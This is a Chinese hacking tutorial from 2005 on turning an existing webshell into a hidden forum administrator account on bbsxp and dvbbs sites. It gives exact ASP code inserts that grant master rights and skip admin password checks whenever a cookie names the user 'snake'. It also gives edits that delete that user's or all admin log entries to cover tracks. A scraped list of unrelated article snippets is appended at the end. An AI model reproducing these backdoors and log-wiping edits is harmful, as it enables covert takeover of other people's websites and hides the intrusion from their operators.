[原创]用Webshell弄一个别人看不出来的BBS管理员

文章作者:Snakehu
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

文章已经发表在2005-10期《黑客防线》
目标:通过Webshell对原文件的修改使自己变成管理员,常规情况下不会被管理员发现。
目的:方便大家,其实懂一点点asp的人都会,不过自己试,费的时间比较多。

在拿到webshell的情况下如何控制论坛呢?
这个问题好像有点多余。一般都是从论坛弄webshell,怎么会出现这种情况呢?现在的论坛做的越来越安全,在新漏洞发现之前,最新版本的论坛一般很难攻克。但是一个网站总有软肋,在菜鸟圈里很火的注入、上传漏洞,还有旁注等等都可以让我们拿到Webshell。
许多人都会问,有webshell了还怕论坛下不来?改数据就可以了。但是这样问题就来了,admin没事突然发现多了个管理员帐户,你说他怎么想?说不定来个大清查。(没准把我们的webshell也揪出来)
既然我们有了webshell,那何不在论坛上做做手脚?

1. bbsxp。
版本:偶以5.1说明

(1)成为前台Master

新建include.asp,内容如下:

QUOTE:
<%
if Request.Cookies("username")="snake" then
membercode=5
end if
%>

在setup.asp尾部添加如下代码:

QUOTE:
<!-- #include file="include.asp" -->

一定要是在尾部,如果添加在头部,那么membercode又会被还原成原来的值。
这样,你就可以成为一个"隐身"管理员了.

(2). 成为后台Master
在admin.asp里看到sub(pass)的这里(53行):

QUOTE:
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")

这个就是后台密码验证,我们改改:

QUOTE:
if Request.Cookies("username")<>"snake" then
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
end if

小结一下,如果你有webshell,那就不要读数据库了,打开文件,把你不满意的密码验证都加上IF语句。控制好条件,等到你登陆后,这些验证就......

再加上这样一段:

QUOTE:
If Request.Cookies(“username”)=”snake” then
Session(“pass”)= adminpassword
End if

怎么样,进入后台随便输入一个密码。OK!进去了。
虽然别人从正常渠道看不出来你是master了.但是别忘了bbsxp的日志,既然我们有webshell,那还不好改?
在admin.asp中164行可以看到这样一句:

QUOTE:
conn.execute("delete from [log] where logtime<"&SqlNowString&"-7")

这就是日志只保存7天的原因了.我们在其后也来一句:

QUOTE:
conn.execute("delete from [log] where 'username'='snake'")

这样,每次有人登陆后台,我们的操作就Over掉啦.

2. dvbbs.

版本:以7.0 ac说明(菜之至极,手里的鸡都没有7.1,嗨!老天呐!)
(1):成为前台Master

洞网论坛大家应该非常熟悉了吧。它的权限判断是放在/inc/Dv_ClsMain.asp里完成的。得到前台管理员当然要从这里入手了。
洞网的身份标识是UserGroupID,1对应的就是管理员。所以大家在Dv_ClsMain.asp搜索UserGroupID,一路来到614-623行:

QUOTE:
Select Case UserGroupID
Case 8
    Vipuser = True
Case 3
    Boardmaster = True
Case 2
    Superboardmaster = True
Case 1
    Master = True
End Select

这就是身份判断的地方。让我们在这之前加上如下:

QUOTE:
if Request.Cookies(Forum_sn)("username")="snake" then
UserGroupID=1
end if

(2):成为后台Master
后台登陆的验证就放在admin_index.asp里。看到chklogin()里的319-342行,我们按照如下方式修改:

QUOTE:
'======================== By Snakehu
if username <> "snake" then
'======================== By Snakehu

set rs=Dvbbs.Execute("select * from "&admintable&" where username='"&username&"' and adduser='"&dvbbs.membername&"'")
    if rs.eof and rs.bof then
        rs.close
        set rs=nothing
        Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
        exit sub
    else
        if trim(rs("password"))<>password then
              Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
        exit sub
        else
        session("flag")=rs("flag")
        session.timeout=45
        Dvbbs.Execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP='"&ip&"' where username='"&username&"'")
        rs.close
        set rs=nothing
        response.redirect "admin_index.asp"
        end if
    end if

'======================== By Snakehu
else
    session("flag")="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36"
        session.timeout=45
        response.redirect "admin_index.asp"
end if
'======================== By Snakehu

end sub

解释一下,session(“flag’)是用来判断权限的,每个数字都对应后台一个版面,如果里面含有对应版面的flag就通过;否则弹出错误页面。
  由于小菜我手头没有装了7.1的肉鸡,就只好用7.0ac的实验啦。7.1的方法我想也差不多吧。只不过我记得7.1的admin_login.asp部分代码不一样,可能要麻烦大家自己改了。
  好了,现在从前台进入“管理”,输入用户名snake,密码任意。哇,终于进来了,可爱的后台!
  对于dvbbs的日志,对待方法和bbsxp差不多。就不多说了。实在不行,你把admin_log.asp里223行的

QUOTE:
(""D"",l_addtime, "&SqlNowString&") > 2

的2改称0就可以了。这里的意思是作删除操作时2天之内的日志不被删除,我们改成0就都删除了。

好了,就这样了。如果有什么错误的地方,麻烦各位在论坛上告诉我哟。偶第一次写。

放一下自己的拙作——《用Webshell做隐藏BBS管理员》相关推荐

  1. bbs jsp mysql_BBS 一个比较简单的用jsp+servlet+mysql做的bbs论坛 Jsp/ 265万源代码下载- www.pudn.com...

    文件名称: BBS下载  收藏√  [ 5  4  3  2  1 ] 开发工具: Java 文件大小: 1038 KB 上传时间: 2014-11-02 下载次数: 42 提 供 者: 陈生 详细说 ...

  2. java怎么把数据封进对象里_(Java)想把数组中一条一条的数据全部放入对象中去..要怎么做呢...

    展开全部 Java把数组中一条一条的数据全部放入对象中去操作如下: 1.先获取到数组中的数据dataArray数据. 2.接32313133353236313431303231363533e58685 ...

  3. 烽火18台系列之八——Webshell,隐藏在网站之下的潘多拉魔盒

    近年来网站被植入后门等隐蔽性攻击呈逐年增长态势,国家互联网应急响应中心发布的<2015年中国互联网网络安全报告>中指出,"2015年CNCERT/CC共监测到境内75028个网站 ...

  4. 查看so库中是否有某个定义_论Linux ELF中动态库符号重定义利用 属性/Linker 做隐藏的手法...

    假如libgetthree.so libgetseven.so , 同时这两个so内部都用了internal_do_calculation()函数,并且各自定义了自己的internal_do_calc ...

  5. html怎么做隐藏字符,隐藏文字的方法有很多

    埋伏文字的法子有许多,分歧的状况下选择一致的方法. 1.把页面需要暗藏的笔墨配置为与后盾一样的色采.如果后台颜色为彩色,那么笔墨也设置为黑色.这样,用户脱离网站看不出来有翰墨,但是这瞒不了搜寻引擎,很 ...

  6. 计算机考试隐藏属性怎么做,隐藏电脑上的计算机属性界面

    隐藏电脑上的计算机属性界面 桌面上的每一个图标,都可以通过鼠标右键菜单中打开属性窗口.如果你不希望别人查看到你的电脑上的计算机属性界面,你可以将其设置为隐藏. 那么,桌面上的计算机图标属性如何将其隐藏 ...

  7. 假期把技术书籍和焦虑放一边,我做了几天...

    本文文末有博文视点出版社赞助的图书进行赠送,在那之前还是先看看网管假期的流水账吧~.~ 转眼国庆假期都要结束啦,这个假期因为一些原因不能出去玩,不过也没省下来什么钱,毕竟iPhone已经是十三香了嘛, ...

  8. 如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)...

    0x01 问题提出 还记得上篇文章记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如 ...

  9. webshell原理

    (源自摘抄整理) https://www.91ri.org/11494.html Webshell实现与隐藏探究 一.什么是webshell webshell简介 webshell,顾名思义:web指 ...

最新文章

  1. System.arraycopy 和Arrays.copyOf
  2. 记一次企业级爬虫系统升级改造(一)
  3. 958. 二叉树的完全性检验 golang
  4. 谈谈重载(overload)覆盖(override)与隐藏
  5. OpenAL跨平台音效API的安装与移植
  6. EJB3.0学习笔记-----Stateful Session Bean的原理
  7. Carryon的字符串
  8. 耐思尼克的“建站宝盒”怎么样呀?
  9. 我的微博,三层嵌套,
  10. sql语句分析是否走索引_Mysql中SQL语句不使用索引的情况
  11. 2022年内蒙古医院三基考试传染病学考前冲刺题及答案
  12. [Shiro教程] Shiro 教程基于SSM(SpringMVC + Spring + Mybatis)
  13. 【闲谈】杀人诛心谈马屁精搬椅子事件
  14. ftp上传工具 免安装,ftp上传工具 免安装绿色破解版好用推荐
  15. 详细解析python正则表达式re模块
  16. Excel VBA编程的常用代码
  17. 跟着老猫来搞GO-内建容器Map
  18. 鸿蒙大战是什么,混沌氏(浑沌)、鸿蒙氏,盘古开天辟地时两个最强大的部落首领?...
  19. opencv的mat赋值_OpenCV Mat 类型定义和赋值
  20. Retinex图像增强算法——SSR,MSR,MSRCR,MSRCP,autoMSRCR

热门文章

  1. JRE极限精简探求手册[1]——精简一个Swing的即时战略游戏
  2. 应收账款和应付账款字段无效
  3. Intel Xeon(Ice Lake) Platinum 8369B阿里云CPU处理器
  4. 2020宣贯部颁学科配置标准及教育装备统计培训班莅临湖南省智慧教育装备展示中心参观学习
  5. UC/OS-II操作系统
  6. 运营方法论:我在京东怎么做运营——电商思维下的产品运营及管理
  7. .net standard类库同时兼容Framework和Core获取配置文件
  8. python货币转换c_货币转换C
  9. uni-app自适应遇到的坑
  10. 联想“推翻”常程:杨元庆“杯酒释兵权”?